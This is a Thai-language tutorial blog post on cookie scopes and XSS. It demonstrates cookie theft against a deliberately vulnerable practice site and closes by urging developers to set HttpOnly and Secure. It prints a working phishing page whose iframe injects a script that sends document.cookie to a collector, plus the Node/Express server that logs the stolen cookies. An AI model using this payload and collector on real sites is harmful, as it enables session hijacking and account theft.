มาลองเล่นกับ HttpCookie กับ XSS/XFS และ Phishing Mail

วันก่อนมีข้อสงสัยเรื่อง HttpCookie และ Scope ของมันนิดหน่อย วันนี้ได้โอกาสตื่นมาแต่เช้าเลยขอโอกาสทดลองอะไรหน่อยกับ XSS และ HttpCookie

1_u0xMcNc9_uFF9_shKvPQ5w

HttpCookie Scope
โดยปกติแล้วเราคงไม่ค่อยได้เปิด browser ดู cookie กันเท่าไหร่ แต่ถ้าเราลองเปิดดูจริงๆจังๆ เราจะสังเกตุเห็นว่า Cookie นั้นมี Scope หลายๆแบบด้วยกัน เราลองมาดู definition กันหน่อยดีกว่าว่าแต่ละ Scope มันบอกอะไรเราบ้าง

Session — Cookie ใน Scope นี้จะ propagate ข้อมูลไปเฉพาะใน browser session เดียวกันเท่านั้น ถ้าเราปิด browser scope ไป มันก็จะตายไปด้วย

Secure — Cookie ใน Scope นี้จะบอกว่า Browser ไม่ต้อง propagate ข้อมูลไปใน Insecure connection คือมันจะส่งไปเฉพาะ https น่ะแหละ

HttpOnly — Cookie ใน Scope นี้จะบอกBrowser ว่าอย่าให้ Cookie ถูก Access ได้จาก JavaScript

ทีนี้เราลองมา Review กันบ้างว่า XSS คืออะไร ใน OWASP บอกว่ามันคือ

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

ซึ่งสรุปแบบสั้นๆคือ การที่เรา inject script หรือ code ที่ไม่หวังดีเข้าไปใน Web แล้วมันดันทำงานได้นี่แหละที่เรียกว่า XSS ซึ่งการโจมตีที่ classic สุดๆอันนึงคือการขโมย Cookie นี่เอง แล้วทำไมเค้าขโมย Cookie กันนะ เพราะเค้าหิวไงล่ะ…..ไม่ใช่สิ เพราะต้องการจะขโมยข้อมูลบางอย่างใน Cookie เช่น Session ID, Token หรืออะไรก็ตามที่ Developer อาจจะลืมหรือเผลอแอบใส่ไว้ใน Cookie

ทีนี้ถ้าเราอยากลองจะทำไงดี การจะหาเว็บที่มี XSS ไม่ใช่เรื่องยาก แต่ทำแล้วไม่โดนด่านี่ยากมาก เพราะฉะนั้นเราจึงไปทำการทดสอบกับเว็บที่เค้าสร้างมาให้ทดสอบ XSS กัน เช่น http://www.insecurelabs.org/task เราก็ลองทดสอบ alert ง่ายๆกันดู

1_d49FnlkcU7ftfvAK4q98pQ

ทดสอบ injection ง่ายๆกันก่อน
พอทดสอบดูแล้วเวิร์คดี เราก็ลองเอาของที่เราสนใจใส่ลงไปใน cookie แล้วทดลองดูตามรายการข้างล่างนี้ ผมลองสร้าง cookie ดูสองตัว โดยที่ตัวนึงเป็น HttpOnly อีกตัวนึงไม่ใช่ HttpOnly แล้วลองดู

1_yIkpMgqaEBm9k277tdccYg

1__MJzJpf6RZBmjzXRD2MMMA

โดยวิธีการทดลองก็ง่ายทำ XFS : Cross Frame Scripting จำลองตัวเองเป็น Phishing mail เพื่อขโมย cookie จากเว็บที่ผมปลอมมาโดยครอบ iframe ไว้บนของจริง โดยมี Code ส่วนของ Phishing HTML แบบนี้

<html>
  <body>
        <iframe style="position:absolute; left:0px;top:0px" frameBorder="0" width="100%" height="100%" 
          src="http://www.insecurelabs.org/task/Rule1?query=<script>document.write('<img src=X onerror=this.src=%22http://localhost:3000/api/image/?c=%22%2Bdocument.cookie width=%2210%22 height=%2210%22/>');</script>"
        ></iframe>
  </body>
</html>

โดยใน iframe นั้นก็พยายามทำการขโมย cookie โดยใช้วิธี classic ในการ load รูปด้วย img tag และใช้ onerror โหลดรูปจาก site ที่เราสร้างมาทำการเก็บ cookie ด้วยส่วนของ Server ที่จะเก็บ Cookie ที่ขโมยมาแบบนี้

var express    = require('express');  
var app        = express();           
var bodyParser = require('body-parser');
var path       = require('path');

app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.use(express.static('public'))

var port = process.env.PORT || 3000;  
var router = express.Router();  
router.get('/image', function(req, res) {
    console.log('your cookie:', req.query.c);
    res.sendFile(path.resolve('./public/icon.png'));    
});

app.use('/api', router);

app.listen(port);
console.log('API running on port ' + port);

ซึ่งเมื่อลอง browse ดู HTML ก็พบว่า ฝั่ง server ขโมย cookie ไปเกลี้ยงเลยตามรูป

1_kKg8YZi3J7y7oU4HU57ggQ

จะเห็นได้ว่า Cookie นั้นถูกขโมยไปได้ง่ายๆเลย ยกเว้น cookie ที่อยู่ใน HttpOnly Scope เพราะฉะนั้นแล้วใครที่ทำ Web และพยายาม tracking ข้อมูลต่างๆไว้ที่ Client Side ก็พยายามหลีกเลี่ยงไว้ก่อนนะครับ ถ้าจำเป็นต้องใช้ อย่าลืม Secure และ HttpOnly scope ที่จะช่วยคุณได้อย่างมาก

Happy Coding ครับ

References: